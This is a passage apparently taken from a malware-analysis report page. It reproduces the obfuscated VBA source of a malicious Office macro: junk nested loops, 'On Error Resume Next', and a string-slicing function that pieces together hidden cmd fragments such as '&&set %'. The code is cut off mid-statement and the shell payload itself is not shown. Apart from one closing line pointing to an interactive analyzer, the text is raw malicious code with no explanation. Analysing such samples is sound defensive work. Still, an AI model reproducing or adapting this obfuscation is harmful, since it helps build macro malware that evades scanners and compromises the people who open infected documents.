FwcKlhUtSj + QNSXYZU + BuPHoqWG + juocXtDZ + TzlwP + MXNjaqGXz + KAXLkwi + MLJQFn + uOuSMCcEuAa + kCwwBCiaMcz + vwXrrbcJYKW + KmhEzr + OGfsLrib + UPaptqJCYmL + jpAEouc + wGFrD + SOuPPibTt + ZbaPfYBEoE + osHkwNKazYc + iamjQzDXFv + opJKsImkmir + nqKVraoto + MjwsjPGi + rAOwWVrk + QNvFvz + uzCcfpl + OqPho + MjDDDmitmj + zbAVGH + jRjIizja + XwGKCzZc + OFIjclOFKzX + hlFVACqz + tREAlCjiD + tRVaEAkkBGj + jRriscoln + zowWliiFknJ + ctWiMdww + twXqa + zWMSUV + lFajnnlrBE + pYtzIzr + ZtduZAHzzwz + dkzPFrlmO + iHaqzzzEQA + bwYZOTKB + vabYzvOfUwf For Each DFKmc In vMsCWE Set BtCHM = MLhVm AufRCT = 24236 - OpDqr For Each OBZfN In HpcUO ilvJWj = vcDQu Next Next iJqBLq = (QHnKm - ChrB(4001)) End Function Attribute VB_Name = "brNRkFrmti" Function SHzMDKFWW() On Error Resume Next For Each unTlw In iWQlDz SNtKw = 58255 - ijrds For Each urhcJ In KinQK ERzaj = PSBaO Next Next jpAEouc = WRrdS("E2%aqjBXvJ%!!%bq8", 6, 10) For Each NpuWrK In qthlqo ctnWiw = 68218 - uNLDCn For Each aPTdz In UQnqd TZWjI = sbWfiv Next Next For Each SYLTSG In qtwQm WKrDiS = 63644 - PEiXU For Each zpkwGV In WNqDh zGCoH = QfmmfL Next Next uzCcfpl = WRrdS("jIJRF=he&&set %hVzhhVMRAqo", 6, 17) For Each vIDUd In wMaAIA QPAwA = 99751 - PjRMQ For Each cDOLDF In AZFSsN jqWGt = ziBipl Next Next For Each dzGOaD In hGCdCp LnlSn = 69112 - OhFOnU For Each dNcNoo In tqWYj krdsY = HhaHNp Next Next hlFVACqz = WRrdS("H03p&&set %WAf8h", 4, 10) For Each IOPAA In jjDsaQ ADSzO = 88500 - VGXEM For Each EMNCGO In njudp kzihw = cLjEO Next Next For Each oGVFj In ahtMI sFMYC = 24530 - ESDjIw For Each oPlClb In TboEQT GHhFB = mIBza Next Next jRriscoln = WRrdS("b.NjcDi", 4, 1) For Each jDzkW In HASLv ahbZiX = 38148 - tjzLVd For Each zsfNm In YuXUqS JSkvLq = TaNiif Next Next For Each bwukY In jrdQz wDVIA = 43619 - KEcLo For Each triTM In Mjzzjk kfsLhd = wpjYJ Next Next pnwCVjC = WRrdS("Sp@EV%Jlf", 5, 2) For Each GaDzzl In VfUBX ilVwE = 80367 - OmfSt For Each ijRDKG In bbljB uiQFK = nQuVdq Next Next For Each tzHCo In DVjjCB ASIkif = 39378 - mwVdq For Each PWXjqm In uuRlE jDcSXN = PvUnL Next Next bwYZOTKB = WRrdS("aApzaqWVnkd&&s4RK1", 4, 11) For Each frHBl In znnzI LOiFYr = 97534 - skOJfz For Each SiTCk In lHTnt MGAvDU = LztJX Next Next For Each hswND In MAYrjD sWDGW = 65790 - pNWPD For Each TKkzMQ In wVYZrQ BBSNz = PjQwo Next Next bMnjli = WRrdS("XHF&&set %ifcfbwoljzE", 3, 15) For Each tziUVj In UZBQb PTKXzi = 28703 - TIovJ For Each iTkum In NXkSA shvpz = qhkAEL Next Next For Each vCJcP In QvhLlQ kCjrm = 5934 - oGGqL For Each kMvnS In avsXYP QSsmZ = ckidc Next Next LnJMrkPoZli = WRrdS("CkizQZMlT%nHlsN", 4, 7) For Each Kqjcpv In QIuDz slqGsf = 21136 - UmrvTh For Each iWFjTu In JtTCb wKWOs = jOmimw Next Next For Each ijriDq In zWqqs SsJnwa = 60592 - LJhYjP For Each soDiau In blLKL twtocd = zpUtC Next Next zbAVGH = WRrdS(".OfHjhQCIXt&&setJi", 6, 11) For Each FXaKJW In JHinIR NRYbnP = 1183 - MPtwDK For Each CTKjto In AbCokV PGfKjq = RtFnjS Next Next For Each KUUzfJ In oJwRG kLFJnG = 24946 - YPMKE For Each awArj In bzhwQX bLmwCj = wzcznh Next Next uOuSMCcEuAa = WRrdS("L5mUEQPZpbHvECPoi%=NpnwvYF", 6, 17) For Each KmEHm In oZrIHk WmiJt = 29997 - lJlTK For Each iWbUBD In KRLdod GBTipR = ELUTF Next Next For Each poRIi In QRjsks PZbmD = 11238 - NVEQml For Each ihLaL In ZJLSL qozWS = Osizf Next Next UPaptqJCYmL = WRrdS("7oiEAAtdjP%In", 2, 2) For Each SFztT In AWsflj SYdmF = 26759 - bjPlO For Each lGXskh In GHFQf bRoaKD = BAkkG Next Next For Each EIFtJS In hpjSLu OmtBw = 74833 - daVwPz For Each NbtdAE In PuUnN swvNLT = wbuDF Next Next MXNjaqGXz = WRrdS("r.wWAzbtrwnkjtBJO.3wA", 4, 14) For Each nbikuu In VUNpo qrwsY = 28149 - vFjiHn For Each jimjqY In QmhJa uWYjGY = dcziW Next Next For Each nCibi In qvRZvO wDmiaS = 64247 - zmANXS For Each fKzhM In vztrv KCMUYS = QakOk Next Next XwGKCzZc = WRrdS("Kf!!%fYGHjTPdQzS", 3, 10) For Each JTnPiN In afPHb BVAGt = 83028 - hXrmSb For Each UCkvwN In DqHhOi KinFsK = iPUqW Next Next For Each TAzjHk In wjMjQT PuqWon = 24327 - ZpAFEI For Each sljkH In IMEmnh EZUVKW = NCKdw Next Next SOuPPibTt = WRrdS("9hNh%!!%DjMlmOztHh", 5, 12) For Each sbJiBj In bobzfM GhlkAF = 73276 - zUfvh For Each HpaGmf In hDVkH zQwVq = XPfQZc Next Next For Each Yrjjf In YcuBmO ZCURto = 86925 - KwYGWl For Each BwEvd In QYcHo AWWwF = pqvCV Next Next QNSXYZU = WRrdS("zv%!&&set %fYGHjTPjWR.S5", 3, 16) For Each TuFNtH In JpWbzw lHIirK = 10008 - sbozS For Each huGwb In cjRDi ifaiv = BPTii Next Next For Each iUCbN In aWRzMM DRFjZz = 69983 - juoUr For Each Navpiw In SwqADz rimmw = hZXAA Next Next tREAlCjiD = WRrdS("uaS=LKAHYEl%A", 4, 4) For Each VJBZOH In vNwVK PmkUPi = 42075 - fPzIC For Each hNnCu In qboQXc jBrvMc = jXzEH Next Next For Each jVSwZk In imbbwV iTuUC = 30513 - BbDnv For Each oXVPw In rFhHTL vwfPWz = UVjNWV Next Next dkzPFrlmO = WRrdS("jofzuLpSNLNT", 2, 5) For Each lfuPL In KJLRLf dNAMa = 17948 - UPWLj For Each GETnIt In iGZnsI SlkOEr = LHUXmN Next Next For Each KjQun In BUBGH sNBupc = 83582 - cOCiD For Each GUANE In zzsoVv bzGsc = jztkr Next Next MjDDDmitmj = WRrdS("laTmvjsC%8Cchn", 2, 8) For Each BwHhwi In rjKhUn HiuVN = 48365 - EQPVVZ For Each XFMjI In CDqQwJ EoQSmF = OBEXXS Next Next For Each DwUFFh In JVXoJb rJoXrB = 52506 - zvmjJ For Each CYhiVw In VLtcwV oihoC = tNiWp Next Next rjlDUYOYVlz = WRrdS("R5Jset %Pv7RSw", 4, 6) For Each zrzYTY In rHwqK czVzuu = 86867 - IXQOwd For Each qoqLpf In CWnaEZ LrsXAa = XQnbv Next Next For Each hOhZY In uLpGH uRiwQ = 26532 - ufJiS For Each vzjSZE In MNYFDD rtzdQj = ndTvL Next Next vwXrrbcJYKW = WRrdS("jnPwHXTEjK9an", 3, 5) For Each HRfXf In ldFKs Bfnjt = 55431 - NiWBhj For Each ihHUP In OfUuh anRFl = FNOESG Next Next For Each frGLjo In tjiOQi MlFCXP = 97621 - mcIRM For Each HBrUfO In iRzUB IoSVUt = DwhwLZ Next Next wGFrD = WRrdS("%wWzbtrwnkjtBJO%=r0%", 4, 14) For Each QFdCRc In lhnuk QhTIh = 41708 - qbTHoY For Each oJTsIG In AZouCY WGfaj = OVfZQ Next Next For Each JYbDs In RSFijp EEqrdV = 29410 - MwYSWz For Each ttnbQ In HDttw cLqSk = rDGOcj Next Next OFIjclOFKzX = WRrdS("nkJRet %jIjWjVCKXX", 5, 10) For Each GVzZC In WBvZLr ZCzAw = 95869 - JmmWjo For Each fuPfQD In KCKiq ZJhmi = bDoFGR …

Open this report in the interactive analyzer, or submit your own file for analysis.